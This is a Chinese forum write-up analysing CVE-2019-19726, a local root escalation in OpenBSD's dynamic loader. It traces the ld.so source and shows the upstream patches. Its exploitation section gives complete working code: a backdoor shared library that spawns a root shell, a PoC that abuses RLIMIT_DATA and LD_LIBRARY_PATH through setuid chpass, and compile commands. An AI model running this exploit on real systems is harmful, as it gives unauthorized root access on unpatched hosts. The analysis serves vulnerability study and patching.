# OpenBSD动态加载程序中的本地提权(CVE-2019-19726)

**URL:** <https://forum.90sec.com/t/topic/655>\
**Category:** 技术文章\
**Created:** [2019 年12 月 25 日 10:54 UTC](https://forum.90sec.com/t/topic/655 "2019-12-25T10:54:39Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![1vanChen](https://forum.90sec.com/user_avatar/forum.90sec.com/1vanchen/32/3819_2.png) [@1vanChen](https://forum.90sec.com/u/1vanChen)\
发布日期： [2019 年12 月 25 日 10:54 UTC](https://forum.90sec.com/t/topic/655/1 "2019-12-25T10:54:39Z")

</div>

## 前言

这个漏洞在 OpenBSD 的动态链接库(ld.so)中，漏洞原因是 ld.so 在内存不足的情况下无法正常删除设置用户ID和设置组ID程序的`LD_LIBRARY_PATH`环境变量，攻击者可以通过设置用户 ID 的命令如 `chpass` 和 `passwd`进行权限提升。

该漏洞涉及 OpenBSD 小于 6.6 版本 (amd64/i386)。

## 环境搭建

本次复现使用[OpenBSD 6.5 amd64](https://ftp.nluug.nl/OpenBSD/6.5/amd64/install65.iso)。

下载源码后切换到修补漏洞之前的版本：

```
$git clone https://github.com/openbsd/src.git 
$git checkout d2ce55dbd7845b33dafe44529e6ceb6b1c8ec6d5

```

## 漏洞分析

在运行设置用户 ID 的程序`chpass`之前需要先对环境变量进行设置：

- 将环境变量`LD_LIBRARY_PATH`设置为当前工作目录，填入 `ARG_MAX` 个 `:`号。

- 使用 `setrlimit()`函数将 `RLIMIT_DATA` 设置为 `ARG_MAX * sizeof(char *)`，其中`RLIMIT_DATA`是进程数据段的最大大小（以字节为单位）。

在 `chpass` 的`main`函数运行前，会先执行 `ld.so` 的 `_dl_boot()`函数，该函数又调用 `_dl_setup_env()`, `_dl_setup_env()`部分实现如下：

```
//libexec/ld.so/loader.c
262 void
263 _dl_setup_env(const char *argv0, char **envp)
264 {
...
271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
...
283 _dl_trust = !_dl_issetugid();
284 if (!_dl_trust) { /* Zap paths if s[ug]id... */
285 if (_dl_libpath) {
286 _dl_free_path(_dl_libpath);
287 _dl_libpath = NULL;
288 _dl_unsetenv("LD_LIBRARY_PATH", envp);
289 }

```

在 `_dl_setup_env()`的 271 行 ，`_dl_getenv()`获取设置的 `LD_LIBRARY_PATH`并返回一个指针给 `_dl_split_path()`，

`_dl_split_path()`部分实现如下：

```
 //ibexec/ld.so/path.c
 23 char **
 24 _dl_split_path(const char *searchpath)
 25 {
 ..
 35 pp = searchpath;
 36 while (*pp) {
 37 if (*pp == ':' || *pp == ';')
 38 count++;
 39 pp++;
 40 }
 ..
 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));
 46 if (retval == NULL)
 47 return (NULL);

```

`_dl_reallocarray()`函数实现如下：

```
//libexec/ld.so/reallocarray.c
28 #define MUL_NO_OVERFLOW	(1UL << (sizeof(size_t) * 4))
29 
30 void *
31 _dl_reallocarray(void *optr, size_t nmemb, size_t size)
32 {
33 if ((nmemb >= MUL_NO_OVERFLOW || size >= MUL_NO_OVERFLOW) &&
34 nmemb > 0 && SIZE_MAX / nmemb < size)
35 _dl_die("reallocarray overflow");
36 return _dl_realloc(optr, size * nmemb);
37 }

```

结合 `_dl_reallocarray()`函数实现可知，由于在一开始设置了一个较小的`RLIMIT_DATA`，`_dl_realloc()`在分配时由于空间不足最后返回 `NULL`。最终使得 `_dl_libpath`值为`NULL`。

又因为 `chpass`是设置用户 ID程序 ，使得`_dl_trust=false`，但因为 `_dl_libpath==NULL`，所以最终未调用`_dl_unsetenv()`删除环境变量`LD_LIBRARY_PATH`。

进入`chpass`主函数后，主要操作为：

- `setuid(0)`设置用户的 uid、euid 为0
- `pw_init()`主要是禁用核心转储，从而防止将 passwd 数据库的内容转储到可读的文件中，以及禁用大多数信号来为passwd 更新做准备。这里将 `RLIMIT_DATA`值重新设置为 `RLIM_INFINITY`。
- `pw_mkdb()``vfork()` 后调用`execv()`执行 `/usr/sbin/pwd_mkdb`。与`execve()`不同，`execv()`不会重置环境变量。

```
//lib/libutil/passwd.c
int
pw_mkdb(char *username, int flags)
{
	int pstat, ac;
	pid_t pid;
	char *av[8];
	struct stat sb;
...
	pid = vfork();
	if (pid == -1)
		return (-1);
	if (pid == 0) {
		if (pw_lck)
			execv(_PATH_PWD_MKDB, av);
		_exit(1);
	}
	pid = waitpid(pid, &pstat, 0);
	if (pid == -1 || !WIFEXITED(pstat) || WEXITSTATUS(pstat) != 0)
		return (-1);
	return (0);
}

```

`chpass`主函数如下：

```
//src/usr.bin/chpass/chpass.c
int
main(int argc, char *argv[])
{
	struct passwd *pw = NULL, *opw = NULL, lpw;
	int i, ch, pfd, tfd, dfd;
	char *tz, *arg = NULL;
	sigset_t fullset;

...

	/* Drop user's real uid and block all signals to avoid a DoS. */
--> setuid(0);
	sigfillset(&fullset);
	sigdelset(&fullset, SIGINT);
	sigprocmask(SIG_BLOCK, &fullset, NULL);

...

	/* Get the passwd lock file and open the passwd file for reading. */
--> pw_init();
	for (i = 1; (tfd = pw_lock(0)) == -1; i++) {
		if (i == 4)
			(void)fputs("Attempting to lock password file, "
			    "please wait or press ^C to abort", stderr);
		(void)signal(SIGINT, kbintr);
		if (i % 16 == 0)
			fputc('.', stderr);
		usleep(250000);
		(void)signal(SIGINT, SIG_IGN);
	}
	if (i >= 4)
		fputc('\n', stderr);
	pfd = open(_PATH_MASTERPASSWD, O_RDONLY|O_CLOEXEC, 0);
	if (pfd == -1)
		pw_error(_PATH_MASTERPASSWD, 1, 1);

	/* Copy the passwd file to the lock file, updating pw. */
	pw_copy(pfd, tfd, pw, opw);

	/* If username changed we need to rebuild the entire db. */
	arg = !strcmp(opw->pw_name, pw->pw_name) ? pw->pw_name : NULL;

	/* Now finish the passwd file update. */
--> if (pw_mkdb(arg, 0) == -1)
		pw_error(NULL, 0, 1);
	exit(0);
}

```

在 fork 出的 `pwd_mkdb`主函数执行前，还是会先执行 `ld.so` 的 `_dl_boot()`函数，调用 `_dl_setup_env()`。由于是`execv()`并不重置环境变量，所以还是能获取设置的 `LD_LIBRARY_PATH`。而进入`_dl_reallocarray()`由于 `RLIMIT_DATA`在 `chpass`主函数中被重置，因此返回值不为`NULL`。由于 `pwd_mkdb`不是设置用户 ID程序 `_dl_issetugid()`返回 `false` ，使得 `_dl_trust==true`。从而跳过删除环境变量的操作保留了`LD_LIBRARY_PATH`的值。

最终 `ld.so` 从 `_dl_libpath`中获取共享库路径，即当前工作目录，便可调用当前工作目录下的恶意动态链接库实现权限提升。获取共享库路径实现如下：

```
//libexec/ld.so/library_subr.c
elf_object_t *
_dl_load_shlib(const char *libname, elf_object_t *parent, int type, int flags)
{
	int try_any_minor, ignore_hints;
	struct sod sod, req_sod;
	elf_object_t *object = NULL;
	char *hint;

	try_any_minor = 0;
	ignore_hints = 0;

	...
again:
	/* No '/' in name. Scan the known places, LD_LIBRARY_PATH first. */
	if (_dl_libpath != NULL) {
		hint = _dl_find_shlib(&req_sod, _dl_libpath, ignore_hints);
		if (hint != NULL)
			goto done;
	}

	...
}

```

## 利用过程

查看当前权限：

```
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ cd /tmp

```

后门共享库代码：

```
$ cat > lib.c << "EOF"
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    if (setuid(0) != 0) _exit( __LINE__ );
    if (setgid(0) != 0) _exit( __LINE__ );
    char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
    execve(argv[0], argv, NULL);
    _exit( __LINE__ );
}
EOF

```

确定共享库版本并编译

```
$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.0]
 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.0]

$ gcc -fpic -shared -s -o libutil.so.13.0 lib.c

```

poc代码：

```
$ cat > poc.c << "EOF"
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int
main(int argc, char * const * argv)
{
    #define LLP "LD_LIBRARY_PATH=."
    static char llp[ARG_MAX - 128];
    memset(llp, ':', sizeof(llp)-1);
    memcpy(llp, LLP, sizeof(LLP)-1);
    char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

    #define DATA (ARG_MAX * sizeof(char *))
    const struct rlimit data = { DATA, DATA };
    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit( __LINE__ );

    if (argc <= 1) _exit( __LINE__ );
    argv += 1;
    execve(argv[0], argv, envp);
    _exit( __LINE__ );
}
EOF

```

编译 poc：

```
$ gcc -s -o poc poc.c

```

最终效果：

```
$ ./poc /usr/bin/chpass
# id
uid=0(root) gid=0(wheel) groups=1000(test)

```

## 修复方式

截止2019-12-25日，对于该漏洞修补前后共有两次。

第一次是漏洞提交后对漏洞的紧急修补：

```diff
RCS file: /cvs/src/libexec/ld.so/loader.c,v
retrieving revision 1.187
diff -u -p -u -r1.187 loader.c
--- libexec/ld.so/loader.c	4 Oct 2019 17:42:16 -0000	1.187
+++ libexec/ld.so/loader.c	11 Dec 2019 17:07:27 -0000
@@ -262,13 +262,14 @@ _dl_dopreload(char *paths)
 void
 _dl_setup_env(const char *argv0, char **envp)
 {
+	char *libpath;
 	static char progname_storage[NAME_MAX+1] = "";
 
 	/*
 	 * Get paths to various things we are going to use.
 	 */
 	_dl_debug = _dl_getenv("LD_DEBUG", envp) != NULL;
-	_dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
+	libpath = _dl_getenv("LD_LIBRARY_PATH", envp);
 	_dl_preload = _dl_getenv("LD_PRELOAD", envp);
 	_dl_bindnow = _dl_getenv("LD_BIND_NOW", envp) != NULL;
 	_dl_traceld = _dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL;
@@ -282,9 +283,8 @@ _dl_setup_env(const char *argv0, char **
 	 */
 	_dl_trust = !_dl_issetugid();
 	if (!_dl_trust) {	/* Zap paths if s[ug]id... */
- if (_dl_libpath) {
- _dl_free_path(_dl_libpath);
- _dl_libpath = NULL;
+ if (libpath) {
+ libpath = NULL;
 			_dl_unsetenv("LD_LIBRARY_PATH", envp);
 		}
 		if (_dl_preload) {
@@ -300,6 +300,8 @@ _dl_setup_env(const char *argv0, char **
 			_dl_unsetenv("LD_DEBUG", envp);
 		}
 	}
+	if (libpath)
+ _dl_libpath = _dl_split_path(libpath);
 	environ = envp;
 
 	_dl_trace_setup(envp);

```

可见修补方式是在对环境变量进行删除操作后再调用`_dl_split_path()`，从而保证能在内存不足的情况下删除设置用户ID和设置组ID程序的`LD_LIBRARY_PATH`环境变量。

第二次修补则是规定：在未确定环境变量可信前，对其删除而不进行查找。

```diff
git diff eee3c75f9abd5ea51e066dd0fe6b1efa470e4d0c..4b65c70c5e05dc7a3d5ef502a5b4dc938ecf3bc5 libexec/ld.so/loader.c
diff --git a/libexec/ld.so/loader.c b/libexec/ld.so/loader.c
index bf62da51bbe..f63825ff231 100644
--- a/libexec/ld.so/loader.c
+++ b/libexec/ld.so/loader.c
@@ -1,4 +1,4 @@
-/* $OpenBSD: loader.c,v 1.189 2019/12/11 18:27:54 millert Exp $ */
+/* $OpenBSD: loader.c,v 1.190 2019/12/17 03:16:07 guenther Exp $ */

 /*
  * Copyright (c) 1998 Per Fogelstrom, Opsycon AB
@@ -262,46 +262,35 @@ _dl_dopreload(char *paths)
 void
 _dl_setup_env(const char *argv0, char **envp)
 {
- char *libpath;
        static char progname_storage[NAME_MAX+1] = "";

- /*
- * Get paths to various things we are going to use.
- */
- _dl_debug = _dl_getenv("LD_DEBUG", envp) != NULL;
- libpath = _dl_getenv("LD_LIBRARY_PATH", envp);
- _dl_preload = _dl_getenv("LD_PRELOAD", envp);
- _dl_bindnow = _dl_getenv("LD_BIND_NOW", envp) != NULL;
- _dl_traceld = _dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL;
- _dl_tracefmt1 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT1", envp);
- _dl_tracefmt2 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT2", envp);
- _dl_traceprog = _dl_getenv("LD_TRACE_LOADED_OBJECTS_PROGNAME", envp);
-
        /*
         * Don't allow someone to change the search paths if he runs
         * a suid program without credentials high enough.
         */
        _dl_trust = !_dl_issetugid();
        if (!_dl_trust) { /* Zap paths if s[ug]id... */
- if (libpath) {
- libpath = NULL;
- _dl_unsetenv("LD_LIBRARY_PATH", envp);
- }
- if (_dl_preload) {
- _dl_preload = NULL;
- _dl_unsetenv("LD_PRELOAD", envp);
- }
- if (_dl_bindnow) {
- _dl_bindnow = 0;
- _dl_unsetenv("LD_BIND_NOW", envp);
- }
- if (_dl_debug) {
- _dl_debug = 0;
- _dl_unsetenv("LD_DEBUG", envp);
- }
+ _dl_unsetenv("LD_DEBUG", envp);
+ _dl_unsetenv("LD_LIBRARY_PATH", envp);
+ _dl_unsetenv("LD_PRELOAD", envp);
+ _dl_unsetenv("LD_BIND_NOW", envp);
+ } else {
+ /*
+ * Get paths to various things we are going to use.
+ */
+ _dl_debug = _dl_getenv("LD_DEBUG", envp) != NULL;
+ _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH",
+ envp));
+ _dl_preload = _dl_getenv("LD_PRELOAD", envp);
+ _dl_bindnow = _dl_getenv("LD_BIND_NOW", envp) != NULL;
        }
- if (libpath)
- _dl_libpath = _dl_split_path(libpath);
+
+ /* these are usable even in setugid processes */
+ _dl_traceld = _dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL;
+ _dl_tracefmt1 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT1", envp);
+ _dl_tracefmt2 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT2", envp);
+ _dl_traceprog = _dl_getenv("LD_TRACE_LOADED_OBJECTS_PROGNAME", envp);
+
        environ = envp;
        _dl_trace_setup(envp);

```

## 总结

本漏洞从提交到OpenBSD官方修复不到3小时，但对环境变量处理不当导致的提权问题仍需要开发者和安全研员的重视。由于其漏洞的隐蔽性，对该类漏洞的自动化挖掘仍有很长的路要走。

## 参考资料

[1] [https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt](https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt)  
[2] [https://github.com/openbsd/src](https://github.com/openbsd/src)  
[3] [https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013\_ldso.patch.sig](https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig)  
[4] [https://github.com/openbsd/src/commit/4b65c70c5e05dc7a3d5ef502a5b4dc938ecf3bc5](https://github.com/openbsd/src/commit/4b65c70c5e05dc7a3d5ef502a5b4dc938ecf3bc5)
